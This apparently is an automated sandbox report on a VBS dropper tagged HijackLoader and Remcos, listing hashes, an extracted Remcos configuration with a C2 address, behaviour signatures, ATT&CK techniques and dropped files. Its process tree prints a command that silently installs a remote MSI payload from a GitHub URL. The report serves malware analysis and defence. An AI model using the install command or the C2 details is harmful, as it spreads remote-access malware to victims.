hijackloader | 23723f9b4239194a21bf0df559f9e9df8aec1399899346311c09cdcd91a9f1b0

Analysis

max time kernel
148s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
30-11-2024 00:17

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General

Target

secondaryTask.vbs
Size

876B
MD5

183d51767fe58e2bd256688315d25709
SHA1

2c0f959b61081a10a085ad8e8f8741a69e2d9934
SHA256

23723f9b4239194a21bf0df559f9e9df8aec1399899346311c09cdcd91a9f1b0
SHA512

f5c06582247afab9d6f3c60b62334ed93d4ee7e447b0299e8959dbec5620def6fb1a8ea17e3c3537b4e7ff2c6661b5396e78e1688ec6267076b01068572e76ed

Score

10^/10

hijackloader remcos v2 discovery loader rat

Malware Config

Extracted

Family

remcos

Botnet

185.157.162.126:1995

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
qsdazeazd-EL00KX
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Detects HijackLoader (aka IDAT Loader) 1 IoCs

resource	yara_rule
behavioral3/files/0x001900000002ab8a-55.dat	family_hijackloader

HijackLoader
HijackLoader is a multistage loader first seen in 2023.
loader hijackloader
Hijackloader family
hijackloader
Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Executes dropped EXE 2 IoCs

pid	Process
2356	EHttpSrv.exe
4368	Updwork.exe

Loads dropped DLL 8 IoCs

pid	Process
2760	MsiExec.exe
2760	MsiExec.exe
2760	MsiExec.exe
2760	MsiExec.exe
2356	EHttpSrv.exe
2356	EHttpSrv.exe
4368	Updwork.exe
1532	EHttpSrv.exe

Use of msiexec (install) with remote resource 1 IoCs

pid	Process
472	msiexec.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	4596	msiexec.exe
3	4596	msiexec.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
3	raw.githubusercontent.com

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4368 set thread context of 4916	4368	Updwork.exe	87
PID 2356 set thread context of 1980	2356	EHttpSrv.exe	84
PID 1980 set thread context of 1532	1980	cmd.exe	90

Drops file in Windows directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSID515.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID584.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF6C7F5701898CF82E.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID68F.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID3CC.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DFAE4D1D786915BB88.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFE441AE694B8309A7.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID06F.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID573.tmp	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DllHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EHttpSrv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EHttpSrv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Updwork.exe

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral3/files/0x001900000002ab8f-47.dat	nsis_installer_1
behavioral3/files/0x001900000002ab8f-47.dat	nsis_installer_2

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4596	msiexec.exe
4596	msiexec.exe
2356	EHttpSrv.exe
1980	cmd.exe
1980	cmd.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
2356	EHttpSrv.exe
1980	cmd.exe
1980	cmd.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

description	pid	Process
Token: SeShutdownPrivilege	472	msiexec.exe
Token: SeIncreaseQuotaPrivilege	472	msiexec.exe
Token: SeSecurityPrivilege	4596	msiexec.exe
Token: SeCreateTokenPrivilege	472	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	472	msiexec.exe
Token: SeLockMemoryPrivilege	472	msiexec.exe
Token: SeIncreaseQuotaPrivilege	472	msiexec.exe
Token: SeMachineAccountPrivilege	472	msiexec.exe
Token: SeTcbPrivilege	472	msiexec.exe
Token: SeSecurityPrivilege	472	msiexec.exe
Token: SeTakeOwnershipPrivilege	472	msiexec.exe
Token: SeLoadDriverPrivilege	472	msiexec.exe
Token: SeSystemProfilePrivilege	472	msiexec.exe
Token: SeSystemtimePrivilege	472	msiexec.exe
Token: SeProfSingleProcessPrivilege	472	msiexec.exe
Token: SeIncBasePriorityPrivilege	472	msiexec.exe
Token: SeCreatePagefilePrivilege	472	msiexec.exe
Token: SeCreatePermanentPrivilege	472	msiexec.exe
Token: SeBackupPrivilege	472	msiexec.exe
Token: SeRestorePrivilege	472	msiexec.exe
Token: SeShutdownPrivilege	472	msiexec.exe
Token: SeDebugPrivilege	472	msiexec.exe
Token: SeAuditPrivilege	472	msiexec.exe
Token: SeSystemEnvironmentPrivilege	472	msiexec.exe
Token: SeChangeNotifyPrivilege	472	msiexec.exe
Token: SeRemoteShutdownPrivilege	472	msiexec.exe
Token: SeUndockPrivilege	472	msiexec.exe
Token: SeSyncAgentPrivilege	472	msiexec.exe
Token: SeEnableDelegationPrivilege	472	msiexec.exe
Token: SeManageVolumePrivilege	472	msiexec.exe
Token: SeImpersonatePrivilege	472	msiexec.exe
Token: SeCreateGlobalPrivilege	472	msiexec.exe
Token: SeRestorePrivilege	4596	msiexec.exe
Token: SeTakeOwnershipPrivilege	4596	msiexec.exe
Token: SeRestorePrivilege	4596	msiexec.exe
Token: SeTakeOwnershipPrivilege	4596	msiexec.exe
Token: SeRestorePrivilege	4596	msiexec.exe
Token: SeTakeOwnershipPrivilege	4596	msiexec.exe
Token: SeRestorePrivilege	4596	msiexec.exe
Token: SeTakeOwnershipPrivilege	4596	msiexec.exe
Token: SeRestorePrivilege	4596	msiexec.exe
Token: SeTakeOwnershipPrivilege	4596	msiexec.exe
Token: SeRestorePrivilege	4596	msiexec.exe
Token: SeTakeOwnershipPrivilege	4596	msiexec.exe
Token: SeRestorePrivilege	4596	msiexec.exe
Token: SeTakeOwnershipPrivilege	4596	msiexec.exe
Token: SeRestorePrivilege	4596	msiexec.exe
Token: SeTakeOwnershipPrivilege	4596	msiexec.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 2380 wrote to memory of 472	2380	WScript.exe	77
PID 2380 wrote to memory of 472	2380	WScript.exe	77
PID 4596 wrote to memory of 2760	4596	msiexec.exe	80
PID 4596 wrote to memory of 2760	4596	msiexec.exe	80
PID 4596 wrote to memory of 2760	4596	msiexec.exe	80
PID 4596 wrote to memory of 2356	4596	msiexec.exe	82
PID 4596 wrote to memory of 2356	4596	msiexec.exe	82
PID 4596 wrote to memory of 2356	4596	msiexec.exe	82
PID 4596 wrote to memory of 4368	4596	msiexec.exe	83
PID 4596 wrote to memory of 4368	4596	msiexec.exe	83
PID 4596 wrote to memory of 4368	4596	msiexec.exe	83
PID 2356 wrote to memory of 1980	2356	EHttpSrv.exe	84
PID 2356 wrote to memory of 1980	2356	EHttpSrv.exe	84
PID 2356 wrote to memory of 1980	2356	EHttpSrv.exe	84
PID 4368 wrote to memory of 4916	4368	Updwork.exe	87
PID 4368 wrote to memory of 4916	4368	Updwork.exe	87
PID 4368 wrote to memory of 4916	4368	Updwork.exe	87
PID 4368 wrote to memory of 4916	4368	Updwork.exe	87
PID 4368 wrote to memory of 4916	4368	Updwork.exe	87
PID 2356 wrote to memory of 1980	2356	EHttpSrv.exe	84
PID 1980 wrote to memory of 1532	1980	cmd.exe	90
PID 1980 wrote to memory of 1532	1980	cmd.exe	90
PID 1980 wrote to memory of 1532	1980	cmd.exe	90
PID 1980 wrote to memory of 1532	1980	cmd.exe	90
PID 1980 wrote to memory of 1532	1980	cmd.exe	90

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\secondaryTask.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2380
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i https://github.com/Kroby5444/Jim/raw/refs/heads/main/Slf.msi /qn
  2⤵
  - Use of msiexec (install) with remote resource
  - Suspicious use of AdjustPrivilegeToken
  PID:472

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4596
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding F03A1B28F0094F23509F423DAEEEE49C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2760
- C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe
  "C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2356
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\SysWOW64\cmd.exe
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:1980
  - - C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe
      C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:1532
- C:\Users\Admin\AppData\Local\Temp\Updwork.exe
  "C:\Users\Admin\AppData\Local\Temp\Updwork.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4368
- - C:\Windows\SysWOW64\WerFault.exe
    "C:\Windows\System32\WerFault.exe"
    3⤵
    PID:4916

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}
1⤵
- System Location Discovery: System Language Discovery
PID:132

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Config.Msi\e57d5ff.rbs

Filesize
2KB

MD5
3482c395ee153ebfb7e5294ddc812abd

SHA1
ea44027030a0478d80f22484d3ba60968d04fdc7

SHA256
0ec14ef25ac2ebb29e79bcb828bf35e69360cc8bdaaa44099c26ffc54b826b8b

SHA512
daa24c3b1ff44aca8b5a174471b276c6b2fa9440efeb9da38cf0cc8083921c9b7b206dd63803cc6279124a220ae12430bef70d4df3c431fffee260e50dee0352

Download Submit
C:\Users\Admin\AppData\Local\Temp\3b6631eb

Filesize
1.0MB

MD5
b4218399dbb9ea7d1e27cdf3950a5f3f

SHA1
2df09ecdd9d41aea55f872b0cfbef9a85eed3055

SHA256
303cc1519f2ed6aeb0d6e5d0be4c400e9bdf7860ac0ccc402f9637b80d1f6577

SHA512
a75c008f9d6a50708706a3e5169383a26bb4e298d4a6898bbf88bdae7cda050339005b4bd89b2af8a9329b70caf397fbcd9966b20a57d89ce029d5ebb8dabfbf

Download Submit
C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe

Filesize
20KB

MD5
9329ba45c8b97485926a171e34c2abb8

SHA1
20118bc0432b4e8b3660a4b038b20ca28f721e5c

SHA256
effa6fcb8759375b4089ccf61202a5c63243f4102872e64e3eb0a1bdc2727659

SHA512
0af06b5495142ba0632a46be0778a7bd3d507e9848b3159436aa504536919abbcacd8b740ef4b591296e86604b49e0642fee2c273a45e44b41a80f91a1d52acc

Download Submit
C:\Users\Admin\AppData\Local\Temp\MFC80U.DLL

Filesize
1.0MB

MD5
686b224b4987c22b153fbb545fee9657

SHA1
684ee9f018fbb0bbf6ffa590f3782ba49d5d096c

SHA256
a2ac851f35066c2f13a7452b7a9a3fee05bfb42907ae77a6b85b212a2227fc36

SHA512
44d65db91ceea351d2b6217eaa27358dbc2ed27c9a83d226b59aecb336a9252b60aec5ce5e646706a2af5631d5ee0f721231ec751e97e47bbbc32d5f40908875

Download Submit
C:\Users\Admin\AppData\Local\Temp\RaftelibeGarss\zlib1.dll

Filesize
363KB

MD5
3ca940e27e87443f7891d39536650f9b

SHA1
2603ff220c43f13591a51abb0cf339aecb758207

SHA256
a91f13aece1ea7ebe326f0e340bda9d00613d3365cd81b7f138a4c9446ffbd38

SHA512
0c0e04cbb8247f6dfe0790d1c3453596e3cb5f5ff0d2c3bc4e01fb38ad8e042322130072263c135c5637a745ef70ac68487bdade3510990ce8f609cad46566ee

Download Submit
C:\Users\Admin\AppData\Local\Temp\Updwork.exe

Filesize
494KB

MD5
253c52411b256e4af301cba58dcb6cef

SHA1
f21252c959b9eb47cd210f41b997cf598612d7c9

SHA256
7d57b704dd881413e7ee2effb3d85bdfff1e208b0f3f745419e640930d9d339d

SHA512
40de728edae55f97ac9459cf78bbc31b38e8b59bdb7a74fbd9e09d7efd2a81b1dc5fd8011007c66efb58e850f1c57d099ec340aecd62911d6aebf2e70d1275d0

Download Submit
C:\Users\Admin\AppData\Local\Temp\audiogram.tif

Filesize
877KB

MD5
5124236fd955464317fbb1f344a1d2f2

SHA1
fe3a91e252f1dc3c3b4980ade7157369ea6f5097

SHA256
ed1389002cdf96c9b54de35b6e972166ee3296d628943fd594a383e674c5cba6

SHA512
2b2ac23244b16f936ef9a4049586f58c809fcc4391a56390cc5db2e8d96140001e0b977680ed1d8b0ab9c410e865a880209e22add8d42e563dc40bc91236b252

Download Submit
C:\Users\Admin\AppData\Local\Temp\http_dll.dll

Filesize
883KB

MD5
4366cd6c5d795811822b9ccc3df3eab4

SHA1
30f6050729b4c08b7657454cb79dd5a3d463c606

SHA256
55497a3eced5d8d190400bcd1a4b43a304ebf74a0d6d098665474ed4b1b0e9da

SHA512
4a56a2da7ded16125c2795d5760c7c08a93362536c9212cff3a31dbf6613cb3fca436efd77c256338f5134da955bc7ccc564b4af0c45ac0dfd645460b922a349

Download Submit
C:\Windows\Installer\MSID06F.tmp

Filesize
3.4MB

MD5
6f92f923d8f87afe5fe757ff2ff56951

SHA1
44780713a7026b9b0ff3cadeaffacb3cc3584eca

SHA256
6ed0c218b751ec93293b5922e783b7a9b147a3c7cd6070022cd707050108d321

SHA512
100df666e8c5b4c2e21de703fe7210a41daedf1480e1fe4b7388aa63dd51eccbe46e141a275ef61061c97cf3cd268a129cfd5fa0e290e4525b07915789713f0a

Download Submit
C:\Windows\Installer\MSID3CC.tmp

Filesize
557KB

MD5
2c9c51ac508570303c6d46c0571ea3a1

SHA1
e3e0fe08fa11a43c8bca533f212bdf0704c726d5

SHA256
ff86c76a8d5846b3a1ad58ff2fd8e5a06a84eb5899cdee98e59c548d33335550

SHA512
df5f1def5aac44f39a2dfde9c6c73f15f83a7374b4ad42b67e425ccb7ac99a64c5701b676ae46d2f7167a04a955158031a839e7878d100aaf8fab0ce2059f127

Download Submit
memory/1532-92-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/1532-94-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/1532-99-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/1532-98-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/1532-97-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/1532-96-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/1532-82-0x00000000726F0000-0x0000000073A07000-memory.dmp

Filesize
19.1MB

Download
memory/1532-84-0x00007FFC67100000-0x00007FFC67309000-memory.dmp

Filesize
2.0MB

Download
memory/1532-85-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/1532-88-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/1532-90-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/1532-95-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/1532-93-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/1980-80-0x0000000074DE0000-0x0000000074F5D000-memory.dmp

Filesize
1.5MB

Download
memory/1980-78-0x00007FFC67100000-0x00007FFC67309000-memory.dmp

Filesize
2.0MB

Download
memory/2356-56-0x0000000074DE0000-0x0000000074F5D000-memory.dmp

Filesize
1.5MB

Download
memory/2356-75-0x0000000074DE0000-0x0000000074F5D000-memory.dmp

Filesize
1.5MB

Download
memory/4368-61-0x0000000062E80000-0x0000000062EE3000-memory.dmp

Filesize
396KB

Download
memory/4916-67-0x0000000000210000-0x0000000000259000-memory.dmp

Filesize
292KB

Download